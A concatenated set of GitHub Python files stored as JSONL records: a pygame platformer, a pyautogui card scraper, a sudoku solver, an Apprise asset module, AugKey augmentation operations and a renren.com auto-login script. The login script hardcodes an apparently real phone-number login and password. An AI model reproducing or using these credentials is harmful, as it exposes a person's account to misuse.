4:(134,116,30,53)}\r\n self.right_states = {0: (7, 170, 30, 53), 1: (38, 170, 32, 53), 2: (71, 170, 32, 53), 3: (104, 170, 29, 53), 4: (134, 170, 30, 53), 4:(165,170,30,53)}\r\n self.up_states = {0: (40,338,33,55), 1:(40,398,33,55)}\r\n self.down_states = {0:(222,4,32,40)}\r\n self.posicion2 = ''\r\n\r\n self.onGround = False\r\n self.xvel = 0\r\n self.yvel = 0\r\n\r\n def get_frame(self, frame_set):\r\n self.frame += 1\r\n if self.frame > (len(frame_set) - 1):\r\n self.frame = 0\r\n return frame_set[self.frame]\r\n\r\n def clip(self, clipped_rect):\r\n if type(clipped_rect) is dict:\r\n self.sheet.set_clip(pygame.Rect(self.get_frame(clipped_rect)))\r\n else:\r\n self.sheet.set_clip(pygame.Rect(clipped_rect))\r\n return clipped_rect\r\n\r\n def update(self, posicion):\r\n\r\n if posicion == 'left':\r\n self.clip(self.left_states)\r\n self.xvel = -5\r\n self.posicion2 = posicion\r\n if posicion == 'right':\r\n self.clip(self.right_states)\r\n self.xvel = 5\r\n self.posicion2 = posicion\r\n if posicion == 'up':\r\n if self.posicion2 == 'left' or self.posicion2 == 'stand_left':\r\n self.clip(self.up_states[0])\r\n if self.onGround:\r\n self.yvel -= 7\r\n elif self.posicion2 == 'right' or self.posicion2 == 'stand_right':\r\n self.clip(self.up_states[1])\r\n if self.onGround:\r\n self.yvel -= 7\r\n if posicion == 'down':\r\n pass\r\n if posicion == 'corre':\r\n if self.posicion2 == 'left':\r\n self.clip(self.left_states)\r\n self.xvel = -7\r\n elif self.posicion2 == 'right':\r\n self.clip(self.right_states)\r\n self.xvel = 7\r\n\r\n if not self.onGround:\r\n self.yvel += 0.3\r\n\r\n if self.yvel > 100:\r\n self.yvel = 100\r\n\r\n if posicion == 'stand_left':\r\n self.clip(self.left_states[0])\r\n self.posicion2 = posicion\r\n self.xvel = 0\r\n\r\n if posicion == 'stand_right':\r\n self.clip(self.right_states[0])\r\n self.posicion2 = posicion\r\n self.xvel = 0\r\n\r\n if self.rect.left < 0:\r\n self.xvel += 5\r\n if self.rect.right > 800:\r\n self.xvel -= 5\r\n if self.rect.bottom >= 458:\r\n self.yvel = 0\r\n self.onGround = True\r\n\r\n self.rect.left += self.xvel\r\n\r\n self.rect.top += self.yvel\r\n\r\n self.image = self.sheet.subsurface(self.sheet.get_clip())\r\n\r\n def handle_event(self, event):\r\n\r\n if event.type == pygame.QUIT:\r\n game_over = True\r\n\r\n if event.type == pygame.KEYDOWN:\r\n\r\n if event.key == pygame.K_UP:\r\n self.update('up')\r\n if event.key == pygame.K_DOWN:\r\n self.update('down')\r\n if event.key == pygame.K_LEFT:\r\n self.update('left')\r\n if event.key == pygame.K_RIGHT:\r\n self.update('right')\r\n if event.key == pygame.K_z:\r\n self.update('corre')\r\n\r\n if event.type == pygame.KEYUP:\r\n\r\n if event.key == pygame.K_LEFT:\r\n self.update('stand_left')\r\n if event.key == pygame.K_RIGHT:\r\n self.update('stand_right')\r\n if event.key == pygame.K_UP:\r\n self.arriba = False\r\n if event.key == pygame.K_DOWN:\r\n self.abajo = False\r\n if event.key == pygame.K_z:\r\n self.runnig = False\r\n\r\n\r\n\"\"\"Aca van las clases de los enemigos\"\"\"\r\n\r\n\r\n\r\nclass Mudai(pygame.sprite.Sprite):\r\n\r\n def __init__(self, posicion):\r\n self.sheet = pygame.image.load('images/sprites/Mudai.png')\r\n self.sheet.set_clip(pygame.Rect(0, 0, 35, 42))\r\n self.image = self.sheet.subsurface(self.sheet.get_clip())\r\n self.rect = self.image.get_rect()\r\n self.rect.topleft = posicion\r\n self.frame = 0\r\n self.left_states = {0: (0, 173, 35, 34), 1: (0, 86, 35, 42), 2: (36, 86, 40, 41), 3: (77, 86, 37, 40)}\r\n self.right_states = {0: (108, 171, 35, 36), 1: (115, 86, 35, 42), 2: (151, 86, 40, 41), 3: (192, 86, 37, 40)}\r\n self.velocidad = [5, 0]\r\n\r\n def get_frame(self, frame_set):\r\n self.frame += 1\r\n if self.frame > (len(frame_set) - 1):\r\n self.frame = 0\r\n return frame_set[self.frame]\r\n\r\n def clip(self, clipped_rect):\r\n if type(clipped_rect) is dict:\r\n self.sheet.set_clip(pygame.Rect(self.get_frame(clipped_rect)))\r\n else:\r\n self.sheet.set_clip(pygame.Rect(clipped_rect))\r\n return clipped_rect\r\n\r\n def update(self):\r\n\r\n if self.rect.left < 0 or self.rect.right > 800:\r\n self.velocidad[0] = -self.velocidad[0]\r\n\r\n if self.velocidad[0] > 0:\r\n self.clip(self.right_states)\r\n elif self.velocidad[0] < 0:\r\n self.clip(self.left_states)\r\n self.rect.move_ip((self.velocidad[0], self.velocidad[1]))\r\n self.image = self.sheet.subsurface(self.sheet.get_clip())\r\n\r\n def colision(self, objetivo):\r\n if self.rect.colliderect(objetivo.rect):\r\n #return True\r\n self.velocidad[0] = -self.velocidad[0]\r\n\r\n def eliminar(self, estado):\r\n if estado:\r\n self.rect = None\r\n\r\n\r\n\r\nclass Assassin(pygame.sprite.Sprite):\r\n\r\n def __init__(self, posicion):\r\n\r\n self.sheet = pygame.image.load('images/sprites/Assassin.png')\r\n\r\n self.sheet.set_clip(pygame.Rect(185, 0, 44, 52))\r\n self.image = self.sheet.subsurface(self.sheet.get_clip())\r\n self.rect = self.image.get_rect()\r\n self.rect.topleft = posicion\r\n self.frame = 0\r\n self.left_states ={0: (9, 126, 44, 61), 1: (54, 126, 44, 63), 2: (99, 126, 44, 62)}\r\n self.right_states = {0: (144, 126, 44, 61), 1: (189, 126, 44, 63), 2: (234, 126, 44, 62)}\r\n self.velocidad = [5, 0]\r\n\r\n def get_frame(self, frame_set):\r\n self.frame += 1\r\n if self.frame > (len(frame_set) - 1):\r\n self.frame = 0\r\n return frame_set[self.frame]\r\n\r\n def clip(self, clipped_rect):\r\n if type(clipped_rect) is dict:\r\n self.sheet.set_clip(pygame.Rect(self.get_frame(clipped_rect)))\r\n else:\r\n self.sheet.set_clip(pygame.Rect(clipped_rect))\r\n return clipped_rect\r\n\r\n def update(self):\r\n\r\n if self.velocidad[0] == 5:\r\n self.clip(self.right_states)\r\n elif self.velocidad[0] == -5:\r\n self.clip(self.left_states)\r\n\r\n if self.rect.left < 593 or self.rect.right > 800:\r\n self.velocidad[0] = -self.velocidad[0]\r\n\r\n self.rect.move_ip((self.velocidad[0], self.velocidad[1]))\r\n self.image = self.sheet.subsurface(self.sheet.get_clip())\r\n\r\n def colisiones(self, objetivos):\r\n\r\n if self.rect.colliderect(objetivos[0].rect):\r\n self.velocidad[0] = -self.velocidad[0]","repo_name":"RaizennHS/Von","sub_path":"jugador.py","file_name":"jugador.py","file_ext":"py","file_size_in_byte":7760,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"72752623293","text":"import pyautogui as gui\nimport pydirectinput\nimport json\nfrom time import sleep\n\n\ncards = []\n\n\n# x 896, y 386\n# x 1383, y 386\n\n# x 896, y 589\n# x 1383, y 589\n# region=(left,top,width,height)\n# x effect: (958,543,70,50)\n# support : (1233,386,100,80)\n# print(gui.position())\n\n# click epsxe window\ngui.click(611, 315)\ni = 0\nwhile (True):\n card = {\n \"number\": \"\",\n \"x_speed\": \"0\",\n \"support_speed\": \"0\",\n }\n pydirectinput.press('space')\n sleep(1)\n card['number'] = i\n\n # locate x effect\n for j in range(3):\n number = str(j + 1)\n image = \"images/effect\" + number + \".png\"\n x_effect_location = gui.locateOnScreen(image, region=(958,543,70,50), confidence=0.5)\n if (x_effect_location is not None):\n # 0:none, 1:slow, 2:normal:, 3:fast\n card['x_speed'] = number\n break\n # locate support effect\n for j in range(3):\n number = str(j + 1)\n image = \"images/effect\" + number + \".png\"\n support_location = gui.locateOnScreen(image, region=(1233,386,100,80), confidence=0.5)\n if (support_location is not None):\n card['support_speed'] = number\n break\n\n \n pydirectinput.press('backspace')\n pydirectinput.press('down')\n i += 1\n \n cards.append(card)\n result = {\"cards\": cards}\n\n # write effect cards Python list dict to JSON file\n with open(\"result.json\", \"w\") as f:\n json.dump(result, f, indent=2)","repo_name":"AsyrafKZ/digital-card-battle-clone-data-collection","sub_path":"helloWorld.py","file_name":"helloWorld.py","file_ext":"py","file_size_in_byte":1458,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"3539762352","text":"import pygame\nfrom math import sqrt\n\n# Initialisation\npygame.font.init()\nSCREEN_SIZE = 450\nGAP = 50\nSCREEN = pygame.display.set_mode((SCREEN_SIZE, SCREEN_SIZE + GAP))\nFONT = pygame.font.SysFont(\"comicsans\", 40)\npygame.display.set_caption(\"Sudoku Solver\")\n\n# Colours\nBLACK = (0, 0, 0)\nWHITE = (255, 255, 255)\nRED = (255, 0, 0)\nBLUE = (0, 255, 0)\n\nclass Grid:\n origBoard = [\n [5, 3, 0, 0, 7, 0, 0, 0, 0],\n [6, 0, 0, 1, 9, 5, 0, 0, 0],\n [0, 9, 8, 0, 0, 0, 0, 6, 0],\n [8, 0, 0, 0, 6, 0, 0, 0, 3],\n [4, 0, 0, 8, 0, 3, 0, 0, 1],\n [7, 0, 0, 0, 2, 0, 0, 0, 6],\n [0, 6, 0, 0, 0, 0, 2, 8, 0],\n [0, 0, 0, 4, 1, 9, 0, 0, 5],\n [0, 0, 0, 0, 8, 0, 0, 7, 9]\n ]\n \n def __init__(self):\n self.board = self.origBoard # 2D array used to store values\n self.size = len(self.board) # The size of the board\n self.innerSize = int(sqrt(self.size)) # The size of each internal grid\n self.emptySpaces = self.findEmpty() # A list of all the empty spaces on the board\n self.numEmptySpaces = len(self.emptySpaces) # The number of empty spaces on the board\n self.tileSize = int(SCREEN_SIZE / self.size) # The size a tile is on the screen\n self.selectedSpace = None # The current selected tile\n self.selectedSpaceMark = True # If the mode is to mark or draw the value in the square\n \n # Draws the board to the GUI including the thin lines, bolder lines, timer and numbers\n def draw(self):\n SCREEN.fill(WHITE)\n # Create grid\n for lineNum in range(self.size + 1):\n if lineNum % self.innerSize == 0 or lineNum == 0:\n pygame.draw.line(SCREEN, BLACK, (0, lineNum * self.tileSize + GAP), (SCREEN_SIZE, lineNum * self.tileSize + GAP), 5)\n pygame.draw.line(SCREEN, BLACK, (lineNum * self.tileSize, 0 + GAP), (lineNum * self.tileSize, SCREEN_SIZE + GAP), 5)\n else:\n pygame.draw.line(SCREEN, BLACK, (0, lineNum * self.tileSize + GAP), (SCREEN_SIZE, lineNum * self.tileSize + GAP), 2)\n pygame.draw.line(SCREEN, BLACK, (lineNum * self.tileSize, 0 + GAP), (lineNum * self.tileSize, SCREEN_SIZE + GAP), 2)\n \n # Display numbers\n for y in range(self.size):\n for x in range(self.size):\n if self.board[y][x] != 0:\n text = FONT.render(str(self.board[y][x]), 1, BLACK)\n SCREEN.blit(text, (x * self.tileSize + self.tileSize / 3, y * self.tileSize + GAP + self.tileSize / 3))\n \n if self.selectedSpace:\n selectedRect = pygame.Rect(self.selectedSpace[0] * self.tileSize + 1, self.selectedSpace[1] * self.tileSize + GAP + 1, self.tileSize, self.tileSize)\n pygame.draw.rect(SCREEN, RED, selectedRect, 2)\n \n # Uses recursion to solve every empty space on the grid until it\n # hits an invalid configuration. It then back-tracks until it finds\n # a different approach then continues \n def solveGrid(self, emptyIndex):\n if emptyIndex >= self.numEmptySpaces:\n return True\n\n for num in range(1, self.size + 1):\n if self.checkValid(self.emptySpaces[emptyIndex], num):\n col, row = self.emptySpaces[emptyIndex]\n self.board[row][col] = num\n\n emptyIndex += 1\n\n if self.solveGrid(emptyIndex):\n return True\n else:\n emptyIndex -= 1\n\n self.board[row][col] = 0\n return False\n \n # Finds every empty space on the board and stores them to be used later\n def findEmpty(self):\n emptySpaces = []\n for y in range(self.size):\n for x in range(self.size):\n if self.board[y][x] == 0:\n emptySpaces.append((x, y))\n return emptySpaces\n\n # Checks if a number can be entered at a specific position\n def checkValid(self, pos, num):\n # Horizontal Check\n for x in range(self.size):\n if self.board[pos[1]][x] == num and x != pos[0]:\n return False\n\n # Vertical Check\n for y in range(self.size):\n if self.board[y][pos[0]] == num and y != pos[0]:\n return False\n\n # Inner Grid Check\n innerGrid_X = pos[0]//self.innerSize\n innerGrid_Y = pos[1]//self.innerSize\n\n for y in range(innerGrid_Y * self.innerSize, innerGrid_Y * self.innerSize + self.innerSize):\n for x in range(innerGrid_X * self.innerSize, innerGrid_X * self.innerSize + self.innerSize):\n if self.board[y][x] == num and (x, y) != pos:\n return False\n return True\n \n def mark(self, num):\n if self.selectedSpace:\n self.board[self.selectedSpace[1]][self.selectedSpace[0]] = num\n \n print(self.origBoard[self.selectedSpace[1]][self.selectedSpace[0]], self.board[self.selectedSpace[1]][self.selectedSpace[0]])\n \n # Selects a space on the board that is allowed to be selected and takes away the selection if it's on the same space\n def selectSpace(self, pos):\n if self.selectedSpace != pos:\n self.selectedSpace = pos\n if self.origBoard[self.selectedSpace[1]][self.selectedSpace[0]] != 0:\n self.selectedSpace = None\n else:\n self.selectedSpace = None\n\ndef main():\n grid = Grid()\n \n running = True\n if SCREEN_SIZE % grid.size != 0:\n running = False\n print(f\"\\nThe screen size must be a value divisible by {grid.size}\\n\")\n \n while running:\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n running = False\n \n if event.type == pygame.MOUSEBUTTONDOWN and pygame.mouse.get_pressed()[0]:\n mouseRow, mouseCol = pygame.mouse.get_pos()\n mouseRow = int(mouseRow / grid.tileSize)\n mouseCol = int(mouseCol / grid.tileSize)\n if mouseCol > 0:\n grid.selectSpace((mouseRow, mouseCol - 1))\n \n if event.type == pygame.KEYDOWN:\n if event.key == pygame.K_SPACE:\n grid.solveGrid(0)\n elif event.key == pygame.K_1:\n grid.mark(1)\n elif event.key == pygame.K_2:\n grid.mark(2)\n elif event.key == pygame.K_3:\n grid.mark(3)\n elif event.key == pygame.K_4:\n grid.mark(4)\n elif event.key == pygame.K_5:\n grid.mark(5)\n elif event.key == pygame.K_6:\n grid.mark(6)\n elif event.key == pygame.K_7:\n grid.mark(7)\n elif event.key == pygame.K_8:\n grid.mark(8)\n elif event.key == pygame.K_9:\n grid.mark(9)\n \n grid.draw() \n pygame.display.update()\n \n pygame.quit()\n\nif __name__ == \"__main__\":\n main()","repo_name":"DeckardGer/PythonGames-Simulations","sub_path":"Sudoku Solver/SudokuSolver.py","file_name":"SudokuSolver.py","file_ext":"py","file_size_in_byte":7153,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"12387785613","text":"from urllib import request,parse\nfrom http import cookiejar\n\n'''\n全自动登录思路:\n1、构建了opener对象,由opener.open()发送请求\n2、opener对象会存储cookie管理器,cookie管理器负责接收cookie并在需要发送的时候发送出去\n3、在跳转到主页时,由于cookie管理器里面已经存储了cookie值,所有可以将cookie发出去\n'''\n\ncookie = cookiejar.CookieJar() #建立cookie对象\ncookie_handler = request.HTTPCookieProcessor(cookie) #返回cookie管理器\nopener = request.build_opener(cookie_handler) #构建opener对象\n\ndef login():\n base_url = \"http://www.renren.com/ajaxLogin/login?1=1&uniqueTimestamp=2018552325436\"\n # form数据准备\n form_data = {\n 'email':'13546120129',\n 'password':'zz123258'\n }\n form_data = parse.urlencode(form_data)\n # 构建请求对象\n req = request.Request(base_url,data=bytes(form_data,encoding='utf-8'))\n # 发送请求\n # response = request.urlopen(req) #构建了opener对象之后,请求将不再由request发送,而是由opener对象发送\n response = opener.open(req)\n\ndef gethome():\n base_url = 'http://www.renren.com/966357560'\n # 发送请求\n response = opener.open(base_url)\n print(response.read().decode())\n\nif __name__=='__main__':\n login()\n gethome()\n\n","repo_name":"theme716/small-routine","sub_path":"insect/1.one_day/6.renren_two.py","file_name":"6.renren_two.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"78"} +{"seq_id":"39591769124","text":"import re\n\nfrom os.path import join\nfrom os.path import dirname\nfrom os.path import isfile\nfrom os.path import abspath\nfrom .common import NotifyType\n\n\nclass AppriseAsset(object):\n \"\"\"\n Provides a supplimentary class that can be used to provide extra\n information and details that can be used by Apprise such as providing\n an alternate location to where images/icons can be found and the\n URL masks.\n\n \"\"\"\n # Application Identifier\n app_id = 'Apprise'\n\n # Application Description\n app_desc = 'Apprise Notifications'\n\n # Provider URL\n app_url = 'https://github.com/caronc/apprise'\n\n # A Simple Mapping of Colors; For every NOTIFY_TYPE identified,\n # there should be a mapping to it's color here:\n html_notify_map = {\n NotifyType.INFO: '#3AA3E3',\n NotifyType.SUCCESS: '#3AA337',\n NotifyType.FAILURE: '#A32037',\n NotifyType.WARNING: '#CACF29',\n }\n\n # The default color to return if a mapping isn't found in our table above\n default_html_color = '#888888'\n\n # The default image extension to use\n default_extension = '.png'\n\n # The default theme\n theme = 'default'\n\n # Image URL Mask\n image_url_mask = \\\n 'https://github.com/caronc/apprise/raw/master/apprise/assets/' \\\n 'themes/{THEME}/apprise-{TYPE}-{XY}{EXTENSION}'\n\n # Application Logo\n image_url_logo = \\\n 'https://github.com/caronc/apprise/raw/master/apprise/assets/' \\\n 'themes/{THEME}/apprise-logo.png'\n\n # Image Path Mask\n image_path_mask = abspath(join(\n dirname(__file__),\n 'assets',\n 'themes',\n '{THEME}',\n 'apprise-{TYPE}-{XY}{EXTENSION}',\n ))\n\n def __init__(self, theme='default', image_path_mask=None,\n image_url_mask=None, default_extension=None):\n \"\"\"\n Asset Initialization\n\n \"\"\"\n if theme:\n self.theme = theme\n\n if image_path_mask is not None:\n self.image_path_mask = image_path_mask\n\n if image_url_mask is not None:\n self.image_url_mask = image_url_mask\n\n if default_extension is not None:\n self.default_extension = default_extension\n\n def color(self, notify_type, color_type=None):\n \"\"\"\n Returns an HTML mapped color based on passed in notify type\n\n if color_type is:\n None then a standard hex string is returned as\n a string format ('#000000').\n\n int then the integer representation is returned\n tuple then the the red, green, blue is returned in a tuple\n\n \"\"\"\n\n # Attempt to get the type, otherwise return a default grey\n # if we couldn't look up the entry\n color = self.html_notify_map.get(notify_type, self.default_html_color)\n if color_type is None:\n # This is the default return type\n return color\n\n elif color_type is int:\n # Convert the color to integer\n return AppriseAsset.hex_to_int(color)\n\n # The only other type is tuple\n elif color_type is tuple:\n return AppriseAsset.hex_to_rgb(color)\n\n # Unsupported type\n raise ValueError(\n 'AppriseAsset html_color(): An invalid color_type was specified.')\n\n def image_url(self, notify_type, image_size, logo=False, extension=None):\n \"\"\"\n Apply our mask to our image URL\n\n if logo is set to True, then the logo_url is used instead\n\n \"\"\"\n\n url_mask = self.image_url_logo if logo else self.image_url_mask\n if not url_mask:\n # No image to return\n return None\n\n if extension is None:\n extension = self.default_extension\n\n re_map = {\n '{THEME}': self.theme if self.theme else '',\n '{TYPE}': notify_type,\n '{XY}': image_size,\n '{EXTENSION}': extension,\n }\n\n # Iterate over above list and store content accordingly\n re_table = re.compile(\n r'(' + '|'.join(re_map.keys()) + r')',\n re.IGNORECASE,\n )\n\n return re_table.sub(lambda x: re_map[x.group()], url_mask)\n\n def image_path(self, notify_type, image_size, must_exist=True,\n extension=None):\n \"\"\"\n Apply our mask to our image file path\n\n \"\"\"\n\n if not self.image_path_mask:\n # No image to return\n return None\n\n if extension is None:\n extension = self.default_extension\n\n re_map = {\n '{THEME}': self.theme if self.theme else '',\n '{TYPE}': notify_type,\n '{XY}': image_size,\n '{EXTENSION}': extension,\n }\n\n # Iterate over above list and store content accordingly\n re_table = re.compile(\n r'(' + '|'.join(re_map.keys()) + r')',\n re.IGNORECASE,\n )\n\n # Acquire our path\n path = re_table.sub(lambda x: re_map[x.group()], self.image_path_mask)\n if must_exist and not isfile(path):\n return None\n\n # Return what we parsed\n return path\n\n def image_raw(self, notify_type, image_size, extension=None):\n \"\"\"\n Returns the raw image if it can (otherwise the function returns None)\n\n \"\"\"\n\n path = self.image_path(\n notify_type=notify_type,\n image_size=image_size,\n extension=extension,\n )\n if path:\n try:\n with open(path, 'rb') as fd:\n return fd.read()\n\n except (OSError, IOError):\n # We can't access the file\n return None\n\n return None\n\n def details(self):\n \"\"\"\n Returns the details associated with the AppriseAsset object\n\n \"\"\"\n return {\n 'app_id': self.app_id,\n 'app_desc': self.app_desc,\n 'default_extension': self.default_extension,\n 'theme': self.theme,\n 'image_path_mask': self.image_path_mask,\n 'image_url_mask': self.image_url_mask,\n 'image_url_logo': self.image_url_logo,\n }\n\n @staticmethod\n def hex_to_rgb(value):\n \"\"\"\n Takes a hex string (such as #00ff00) and returns a tuple in the form\n of (red, green, blue)\n\n eg: #00ff00 becomes : (0, 65535, 0)\n\n \"\"\"\n value = value.lstrip('#')\n lv = len(value)\n return tuple(int(value[i:i + lv // 3], 16)\n for i in range(0, lv, lv // 3))\n\n @staticmethod\n def hex_to_int(value):\n \"\"\"\n Takes a hex string (such as #00ff00) and returns its integer\n equivalent\n\n eg: #00000f becomes : 15\n\n \"\"\"\n return int(value.lstrip('#'), 16)\n","repo_name":"webflo-dev/bazarr","sub_path":"bazarr/libs/apprise/AppriseAsset.py","file_name":"AppriseAsset.py","file_ext":"py","file_size_in_byte":6769,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"78"} +{"seq_id":"74198253052","text":"#!python\n\n\"\"\"\n=======================\nAUGMENTATION OPERATIONS\n=======================\n\nThis module contains operations that can be used to augment images and keypoint\nmatrices.\n\nMIT License © 2021 Andre Telfer\n\"\"\"\n\nimport math\nimport numpy as np\nimport inspect\n\nfrom PIL import Image, ImageOps, ImageEnhance\n\n# Used as the default fill value when applying transformations to images.\nGREY = (128, 128, 128)\n\ndef handle_visibilities(func):\n \"\"\"Convenience function that removes the visibility column from keypoints\n and recalalculates it after\"\"\"\n\n def wrapper(*args, **kwargs):\n # Update the kwargs so that it includes args\n sig = inspect.signature(Operation.transform_keypoints)\n kwargs = sig.bind(*args, **kwargs)\n kwargs.apply_defaults()\n kwargs = kwargs.arguments\n\n # Check to see if there is a visibility column\n if kwargs['keypoints'].shape[1] == 3:\n # Remove the 'visible' column\n visible = kwargs['keypoints'][:, 2]\n kwargs['keypoints'] = kwargs['keypoints'][:, :2]\n\n # Get the results\n results = func(**kwargs)\n\n # Check if the results are still in the image bounds\n keypoints_x, keypoints_y = results.T\n height, width, _ = kwargs['image_shape']\n inbounds = (keypoints_y >= 0) & (keypoints_y < height) \\\n & (keypoints_x >= 0) & (keypoints_x < width)\n\n # Update visibilities. They should be 0 if off the image, otherwise\n # match the original visibilties.\n visible *= inbounds\n return np.c_[results, visible]\n\n # If no visible column, do nothing\n return func(**kwargs)\n\n return wrapper\n\ndef add_temp_ones_column(func):\n \"\"\"Convenience function that adds a column of ones to the keypoints for\n affine transform.\n \"\"\"\n\n def wrapper(*args, **kwargs):\n if 'keypoints' in kwargs:\n keypoints = kwargs['keypoints']\n kwargs['keypoints'] = np.c_[keypoints, np.ones(keypoints.shape[0])]\n else:\n args = list(args)\n keypoints = args[1]\n args[1] = np.c_[keypoints, np.ones(keypoints.shape[0])]\n\n return func(*args, **kwargs)[:, :2]\n\n return wrapper\n\n\nclass Operation:\n \"\"\"Base class for augmentation operations.\"\"\"\n\n def __init__(self, magnitude_range=None):\n \"\"\"Initialize the operation.\n\n Parameters\n ----------\n magnitude_range : np.array\n Required for operations that use magnitudes.\n \"\"\"\n self.magnitude_range = magnitude_range\n\n def transform_image(self, image, magnitude=0, direction=1):\n \"\"\"Apply the operation to an image.\n\n Parameters\n ----------\n image : PIL.Image\n The image to transform.\n magnitude : int\n The magnitude of the distortion. Only required by some operations.\n direction : {-1, 1}\n For opeartions that can be applied in either direction. Only required\n by some operations.\n\n Returns\n -------\n image : PIL.Image\n \"\"\"\n #pylint: disable=unused-argument\n return image\n\n def transform_keypoints(\n self,\n keypoints,\n magnitude=0,\n direction=1,\n image_shape=None\n ):\n \"\"\"Apply the operation to keypoints.\n\n Parameters\n ----------\n keypoints : np.array\n The keypoints to transform.\n magnitude : int\n The magnitude of the distortion. Only required by some operations.\n direction : {-1, 1}\n For operations that can be applied in either direction. Only required\n by some operations.\n image_shape : (width, height)\n For operations that require the image's dimensions. The shape \n should be in PIL's (width, height) order rather than the standard \n nd.array (height, width).\n Returns\n -------\n keypoints : np.array\n \"\"\"\n #pylint: disable=unused-argument\n return keypoints\n\n\nclass Identity(Operation):\n \"\"\"Identity\"\"\"\n\n\nclass AutoContrast(Operation):\n \"\"\"AutoContrast\"\"\"\n\n def transform_image(self, image, magnitude=0, direction=1):\n return ImageOps.autocontrast(image)\n\n\nclass Equalize(Operation):\n \"\"\"Equalize\"\"\"\n\n def transform_image(self, image, magnitude=0, direction=1):\n return ImageOps.equalize(image)\n\n\nclass Solarize(Operation):\n \"\"\"Solarize\"\"\"\n\n def transform_image(self, image, magnitude=0, direction=1):\n value = self.magnitude_range[magnitude]\n return ImageOps.solarize(image, value)\n\n\nclass Color(Operation):\n \"\"\"Color\"\"\"\n\n def transform_image(self, image, magnitude=0, direction=1):\n value = self.magnitude_range[magnitude]\n return ImageEnhance.Color(image).enhance(value)\n\n\nclass Posterize(Operation):\n \"\"\"Posterize\"\"\"\n\n def transform_image(self, image, magnitude=0, direction=1):\n value = self.magnitude_range[magnitude]\n return ImageOps.posterize(image, value)\n\n\nclass Contrast(Operation):\n \"\"\"Contrast\"\"\"\n\n def transform_image(self, image, magnitude=0, direction=1):\n value = 1 + self.magnitude_range[magnitude] * direction\n return ImageEnhance.Contrast(image).enhance(value)\n\n\nclass Brightness(Operation):\n \"\"\"Brightness\"\"\"\n\n def transform_image(self, image, magnitude=0, direction=1):\n value = 1 + self.magnitude_range[magnitude] * direction\n return ImageEnhance.Brightness(image).enhance(value)\n\n\nclass Sharpness(Operation):\n \"\"\"Sharpness\"\"\"\n\n def transform_image(self, image, magnitude=0, direction=1):\n value = 1 + self.magnitude_range[magnitude] * direction\n return ImageEnhance.Sharpness(image).enhance(value)\n\n\nclass Rotate(Operation):\n \"\"\"Rotate\"\"\"\n\n def transform_image(self, image, magnitude=0, direction=1):\n value = self.magnitude_range[magnitude] * direction\n value = (math.cos(value), -math.sin(value), 0,\n math.sin(value), math.cos(value), 0)\n return image.transform(image.size, Image.AFFINE, value, fillcolor=GREY)\n\n @handle_visibilities\n @add_temp_ones_column\n def transform_keypoints(\n self,\n keypoints,\n magnitude=0,\n direction=1,\n image_shape=None\n ):\n value = self.magnitude_range[magnitude] * -direction\n value = np.array([\n [math.cos(value), -math.sin(value), 0],\n [math.sin(value), math.cos(value), 0],\n [0, 0, 1]\n ])\n return keypoints @ value.T\n\n\nclass ShearX(Operation):\n \"\"\"ShearX\"\"\"\n\n def transform_image(self, image, magnitude=0, direction=1):\n value = self.magnitude_range[magnitude] * direction\n value = (1, value, 0, 0, 1, 0)\n return image.transform(image.size, Image.AFFINE, value, fillcolor=GREY)\n\n @handle_visibilities\n @add_temp_ones_column\n def transform_keypoints(\n self,\n keypoints,\n magnitude=0,\n direction=1,\n image_shape=None\n ):\n value = self.magnitude_range[magnitude] * -direction\n value = np.array([\n [1, value, 0],\n [0, 1, 0],\n [0, 0, 1]\n ])\n return keypoints @ value.T\n\n\nclass ShearY(Operation):\n \"\"\"ShearY\"\"\"\n\n def transform_image(self, image, magnitude=0, direction=1):\n value = self.magnitude_range[magnitude] * direction\n value = (1, 0, 0, value, 1, 0)\n return image.transform(image.size, Image.AFFINE, value, fillcolor=GREY)\n\n @handle_visibilities\n @add_temp_ones_column\n def transform_keypoints(\n self,\n keypoints,\n magnitude=0,\n direction=1,\n image_shape=None\n ):\n value = self.magnitude_range[magnitude] * -direction\n value = np.array([\n [1, 0, 0],\n [value, 1, 0],\n [0, 0, 1]\n ])\n return keypoints @ value.T\n\n\nclass TranslateX(Operation):\n \"\"\"TranslateX\"\"\"\n\n def transform_image(self, image, magnitude=0, direction=1):\n value = self.magnitude_range[magnitude] * direction\n value = (1, 0, value, 0, 1, 0)\n return image.transform(image.size, Image.AFFINE, value, fillcolor=GREY)\n\n @handle_visibilities\n @add_temp_ones_column\n def transform_keypoints(\n self,\n keypoints,\n magnitude=0,\n direction=1,\n image_shape=None\n ):\n value = self.magnitude_range[magnitude] * -direction\n value = np.array([\n [1, 0, value],\n [0, 1, 0],\n [0, 0, 1]\n ])\n return keypoints @ value.T\n\n\nclass TranslateY(Operation):\n \"\"\"TranslateY\"\"\"\n\n def transform_image(self, image, magnitude=0, direction=1):\n value = self.magnitude_range[magnitude] * direction\n value = (1, 0, 0, 0, 1, value)\n return image.transform(image.size, Image.AFFINE, value, fillcolor=GREY)\n\n @handle_visibilities\n @add_temp_ones_column\n def transform_keypoints(\n self,\n keypoints,\n magnitude=0,\n direction=1,\n image_shape=None\n ):\n value = self.magnitude_range[magnitude] * -direction\n value = np.array([\n [1, 0, 0],\n [0, 1, value],\n [0, 0, 1]\n ])\n return keypoints @ value.T\n","repo_name":"A-Telfer/AugKey","sub_path":"augkey/operations.py","file_name":"operations.py","file_ext":"py","file_size_in_byte":9343,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"78"} +{"seq_id":"71916900093","text":"def maximumCount(nums: list[int]) -> int:\n def posBinarySearch(l, r, nums, target):\n while l <= r:\n # print(\"l:\",l)\n # print(\"r:\", r)\n mid = (l + r) // 2\n # print(\"m:\", mid)\n # print(\"nums[m]:\", nums[mid]) \n if nums[mid] <= target:\n l = mid + 1\n else:\n r = mid - 1\n return l\n \n\n def negBinarySearch(l, r, nums, target):\n while l <= r:\n # print(\"l:\",l)\n # print(\"r:\", r)\n mid = (l + r) // 2\n # print(\"m:\", mid)\n # print(\"nums[m]:\", nums[mid]) \n if nums[mid] < target:\n l = mid + 1\n 